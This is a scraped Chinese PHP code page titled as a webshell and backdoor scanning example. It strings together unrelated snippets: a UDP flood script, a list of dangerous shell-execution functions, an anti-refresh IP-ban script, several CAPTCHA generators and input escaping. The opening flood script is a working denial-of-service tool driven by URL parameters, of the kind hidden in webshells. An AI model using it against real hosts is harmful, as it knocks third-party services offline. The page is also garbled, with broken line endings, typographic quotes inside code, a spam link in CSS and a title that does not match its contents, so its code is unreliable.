php webshell扫描后门木马实例程序

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
?>

phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,
proc_get_status,fsocket,fsockopen

<?php 
//查询禁止IP 
$ip =$_SERVER['REMOTE_ADDR']; 
$fileht=".htaccess2"; 
if(!file_exists($fileht))file_put_contents($fileht,""); 
$filehtarr=@file($fileht); 
if(in_array($ip."rn",$filehtarr))die("Warning:"."<br>"."Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!"); 

//加入禁止IP 
$time=time(); 
$fileforbid="log/forbidchk.dat"; 
if(file_exists($fileforbid)) 
{ if($time-filemtime($fileforbid)>60)unlink($fileforbid); 
else{ 
$fileforbidarr=@file($fileforbid); 
if($ip==substr($fileforbidarr[0],0,strlen($ip))) 
{ 
if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid); 
elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);} 
else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);} 
} 
} 
} 
//防刷新 
$str=""; 
$file="log/ipdate.dat"; 
if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777); 
if(!file_exists($file))file_put_contents($file,""); 
$allowTime = 120;//防刷新时间 
$allowNum=10;//防刷新次数 
$uri=$_SERVER['REQUEST_URI']; 
$checkip=md5($ip); 
$checkuri=md5($uri); 
$yesno=true; 
$ipdate=@file($file); 
foreach($ipdate as $k=>$v) 
{ $iptem=substr($v,0,32); 
$uritem=substr($v,32,32); 
$timetem=substr($v,64,10); 
$numtem=substr($v,74); 
if($time-$timetem<$allowTime){ 
if($iptem!=$checkip)$str.=$v; 
else{ 
$yesno=false; 
if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn"; 
elseif($numtem<$allowNum)$str.=$iptem.$uritem.$timetem.($numtem+1)."rn"; 
else 
{ 
if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);} 
file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND); 
$timepass=$timetem+$allowTime-$time; 
die("Warning:"."<br>"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!"); 
} 
} 
} 
} 
if($yesno) $str.=$checkip.$checkuri.$time."1rn"; 
file_put_contents($file,$str); 
?>

//首先开启session
session_start();
//定义前台显示验证码长&宽
$image_width = 120;
$image_height = 40;
$characters_on_image = 6;
$font = './monofont.ttf';
 
//The characters that can be used in the CAPTCHA code.
//avoid confusing characters (l 1 and i for example)
$possible_letters = '23456789bcdfghjkmnpqrstvwxyz';
$random_dots = 10;
$random_lines = 30;
$captcha_text_color="0x142864";
$captcha_noice_color = "0x142864";
//定义要生成验证码的字符串
$code = '';
 
$i = 0;
while ($i < $characters_on_image) { 
$code .= substr($possible_letters, mt_rand(0, strlen($possible_letters)-1), 1);
$i++;
}
 
$font_size = $image_height * 0.75;
$image = @imagecreate($image_width, $image_height);
 
/* setting the background, text and noise colours here */
$background_color = imagecolorallocate($image, 255, 255, 255);
 
$arr_text_color = hexrgb($captcha_text_color);
$text_color = imagecolorallocate($image, $arr_text_color['red'], 
        $arr_text_color['green'], $arr_text_color['blue']);
 
$arr_noice_color = hexrgb($captcha_noice_color);
$image_noise_color = imagecolorallocate($image, $arr_noice_color['red'], 
        $arr_noice_color['green'], $arr_noice_color['blue']);
 
/* generating the dots randomly in background */
for( $i=0; $i<$random_dots; $i++ ) {
imagefilledellipse($image, mt_rand(0,$image_width),
 mt_rand(0,$image_height), 2, 3, $image_noise_color);
}
 
/* generating lines randomly in background of image */
for( $i=0; $i<$random_lines; $i++ ) {
imageline($image, mt_rand(0,$image_width), mt_rand(0,$image_height),
 mt_rand(0,$image_width), mt_rand(0,$image_height), $image_noise_color);
}
 
/* create a text box and add 6 letters code in it */
$textbox = imagettfbbox($font_size, 0, $font, $code); 
$x = ($image_width - $textbox[4])/2;
$y = ($image_height - $textbox[5])/2;
imagettftext($image, $font_size, 0, $x, $y, $text_color, $font , $code);
 
/* Show captcha image in the page html page */
header('Content-Type: image/jpeg');// defining the image type to be shown in browser widow
imagejpeg($image);//showing the image
imagedestroy($image);//destroying the image instance
//设置session，做验证
$_SESSION['6_letters_code'] = $code;
 
function hexrgb ($hexstr)
{
  $int = hexdec($hexstr);
 
  return array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
}

显示验证码页面index.php

<?php
session_start();
if(isset($_REQUEST['Submit'])){
    // code for check server side validation
    if(empty($_SESSION['6_letters_code'] ) ||
        strcasecmp($_SESSION['6_letters_code'], $_POST['6_letters_code']) != 0)
    {  
        $msg="您输入的验证码有误，请重新输入!";
    }else{
        echo "您输入的是正确的!";
        // Captcha verification is Correct. Final Code Execute here!
    }
}    
 ?>
 
<style type="text/css">
.table{
    font-family:Arial, Helvetica, sans-serif;
    font-size:12px;
    color:#333;
    background-color:#E4E4E4;    
}
.table td{
    <a href="http://www.111cn.net">Coinstar Money point</a>  background-color:#F8F8F8;     
}
</style>
 
<form action="" method="post" name="form1" id="form1" >
  <table width="400" border="0" align="center" cellpadding="5" cellspacing="1">
<?php if(isset($msg)){?>
    <tr>
      <td colspan="2" align="center" valign="top"><?php echo $msg;?></td>
    </tr>
<?php } ?> 
    <tr>
      <td align="right" valign="top"> 验证码Demo:</td>
      <td><img src="captcha_code_file.php?rand=<?php echo rand(0,20);?>" id='captchaimg'  onclick="refreshCaptcha();" ><br>
        <label for='message'>请输入验证码:</label>
        <br>
        <input id="6_letters_code" name="6_letters_code" type="text">
        <br>
        如果看不到，请 <a href='javascript: refreshCaptcha();'>点我</a> 刷新一下!
        </p></td>
    </tr>
    <tr>
      <td>&amp;nbsp;</td>
      <td><input name="Submit" type="submit" onclick="return validate();" value="Submit"></td>
    </tr>
  </table>
</form>
<script type='text/javascript'>
//定义的刷新请求
function refreshCaptcha()
{
    var img = document.images['captchaimg'];
    img.src = img.src.substring(0,img.src.lastIndexOf("?"))+"?rand="+Math.random()*1000;
}
</script>

<?session_start();?>
<FORM METHOD=POST ACTION="">
<input type=text name=number maxlength=4><img src="YanZhengMa.php?act=init">
<INPUT TYPE="submit" name="sub">
</FORM>
<?
//检验校验码
if(isset($HTTP_POST_VARS["sub"])):
if($HTTP_POST_VARS["number"] != $HTTP_SESSION_VARS[login_check_number] || empty($HTTP_POST_VARS["number"])){
    echo "校验码不正确!" ;
}else{
    echo"验证码通过！";
}
endif;
show_source('test.php');
//以上本页的源码

//以下是生成验证码的源码
show_source('YanZhengMa.php');
?>
<?php
session_start();
session_register("login_check_number");

//昨晚看到了chianren上的验证码效果，就考虑了一下，用PHP的GD库完成了类似功能
//先成生背景，再把生成的验证码放上去
$img_height=120;    //先定义图片的长、宽
$img_width=40;
if($HTTP_GET_VARS["act"]== "init"){
    //srand(microtime() * 100000);//PHP420后，srand不是必须的
    for($Tmpa=0;$Tmpa<4;$Tmpa++){
        $nmsg.=dechex(rand(0,15));
    }//by sports98

    $HTTP_SESSION_VARS[login_check_number] = $nmsg;

    //$HTTP_SESSION_VARS[login_check_number] = strval(mt_rand("1111","9999"));    //生成4位的随机数，放入session中
    //谁能做下补充，可以同时生成字母和数字啊？？----由sports98完成了

    $aimg = imageCreate($img_height,$img_width);    //生成图片
    ImageColorAllocate($aimg, 255,255,255);            //图片底色，ImageColorAllocate第1次定义颜色PHP就认为是底色了
    $black = ImageColorAllocate($aimg, 0,0,0);        //定义需要的黑色

    ImageRectangle($aimg,0,0,$img_height-1,$img_width-1,$black);//先成一黑色的矩形把图片包围

    //下面该生成雪花背景了，其实就是在图片上生成一些符号
    for ($i=1; $i<=100; $i++) {    //先用100个做测试

        imageString($aimg,1,mt_rand(1,$img_height),mt_rand(1,$img_width),"*",imageColorAllocate($aimg,mt_rand(200,255),mt_rand(200,255),mt_rand(200,255)));
        //哈，看到了吧，其实也不是雪花，就是生成＊号而已。为了使它们看起来"杂乱无章、5颜6色"，就得在1个1个生成它们的时候，让它们的位置、颜色，甚至大小都用随机数，rand()或mt_rand都可以完成。
    }

    //上面生成了背景，现在就该把已经生成的随机数放上来了。道理和上面差不多，随机数1个1个地放，同时让他们的位置、大小、颜色都用成随机数~~
    //为了区别于背景，这里的颜色不超过200，上面的不小于200
    for ($i=0;$i<strlen($HTTP_SESSION_VARS[login_check_number]);$i++){
        imageString($aimg, mt_rand(3,5),$i*$img_height/4+mt_rand(1,10),mt_rand(1,$img_width/2), $HTTP_SESSION_VARS[login_check_number][$i],imageColorAllocate($aimg,mt_rand(0,100),mt_rand(0,150),mt_rand(0,200)));
    }
    Header("Content-type: image/png");    //告诉浏览器，下面的数据是图片，而不要按文字显示
    ImagePng($aimg);                    //生成png格式。。。嘿嘿效果蛮像回事的嘛。。。
    ImageDestroy($aimg);
}

?>

<?php
session_start();
header(“Content-type: image/png”);
//创建真彩色白纸
$im = @imagecreatetruecolor(50, 20) or die(“建立图像失败”);
//获取背景颜色
$background_color = imagecolorallocate($im, 255, 255, 255);
//填充背景颜色(这个东西类似油桶)
imagefill($im,0,0,$background_color);
//获取边框颜色
$border_color = imagecolorallocate($im,200,200,200);
//画矩形，边框颜色200,200,200
imagerectangle($im,0,0,49,19,$border_color);

//逐行炫耀背景，全屏用1或0
for($i=2;$i<18;$i++){
//获取随机淡色
$line_color = imagecolorallocate($im,rand(200,255),rand(200,255),rand(200,255));
//画线
imageline($im,2,$i,47,$i,$line_color);
}

//设置字体大小
$font_size=12;

//设置印上去的文字
$Str[0] = “ABCDEFGHIJKLMNOPQRSTUVWXYZ”;
$Str[1] = “abcdefghijklmnopqrstuvwxyz”;
$Str[2] = “01234567891234567890123456″;

//获取第1个随机文字
$imstr[0]["s"] = $Str[rand(0,2)][rand(0,25)];
$imstr[0]["x"] = rand(2,5);
$imstr[0]["y"] = rand(1,4);

//获取第2个随机文字
$imstr[1]["s"] = $Str[rand(0,2)][rand(0,25)];
$imstr[1]["x"] = $imstr[0]["x"]+$font_size-1+rand(0,1);
$imstr[1]["y"] = rand(1,3);

//获取第3个随机文字
$imstr[2]["s"] = $Str[rand(0,2)][rand(0,25)];
$imstr[2]["x"] = $imstr[1]["x"]+$font_size-1+rand(0,1);
$imstr[2]["y"] = rand(1,4);

//获取第4个随机文字
$imstr[3]["s"] = $Str[rand(0,2)][rand(0,25)];
$imstr[3]["x"] = $imstr[2]["x"]+$font_size-1+rand(0,1);
$imstr[3]["y"] = rand(1,3);

//将显示的数组赋值给session
$_SESSION['CODE'] = $imstr[0]["s"].$imstr[1]["s"].$imstr[2]["s"].$imstr[3]["s"];

//写入随机字串
for($i=0;$i<4;$i++){
$text_color = imagecolorallocate($im,rand(50,180),rand(50,180),rand(50,180));
imagechar($im,$font_size,$imstr[$i]["x"],$imstr[$i]["y"],$imstr[$i]["s"],$text_color);
}
//显示图片
imagepng($im);
//销毁图片
imagedestroy($im);
?>

if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET  = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}

$_COOKIE   = addslashes_deep($_COOKIE);
$_REQUEST  = addslashes_deep($_REQUEST);
}

function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
}